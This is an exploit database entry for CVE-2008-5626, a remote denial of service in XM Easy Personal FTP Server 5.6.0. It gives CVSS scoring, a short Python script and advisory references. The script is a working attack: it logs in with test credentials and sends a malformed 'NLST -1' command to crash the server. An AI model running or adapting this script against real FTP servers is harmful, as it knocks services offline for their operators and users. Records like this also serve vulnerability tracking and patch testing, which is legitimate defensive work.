XM Easy Personal FTP Server 5.6.0 Remote Denial of Service Exploit

2008.12.19

Credit: shinnai

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-5626

CWE: CWE-399

CVSS Base Score: 4/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

print "--------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://www.shinnai.net"
print "--------------------------------------------------------------"

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("127.0.0.1",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER test\r\n')
   print "Client -> USER: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS test\r\n')
   print "Client -> PASS: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('NLST -1\r\n')
   print "Client -> NSLT: -1"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)
except:
   print "- Unable to connect. exiting."

References:

http://www.securityfocus.com/bid/31739

http://www.milw0rm.com/exploits/6741

http://www.frsirt.com/english/advisories/2008/2803

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XM Easy Personal FTP Server 5.6.0 Remote Denial of Service Exploit

References:

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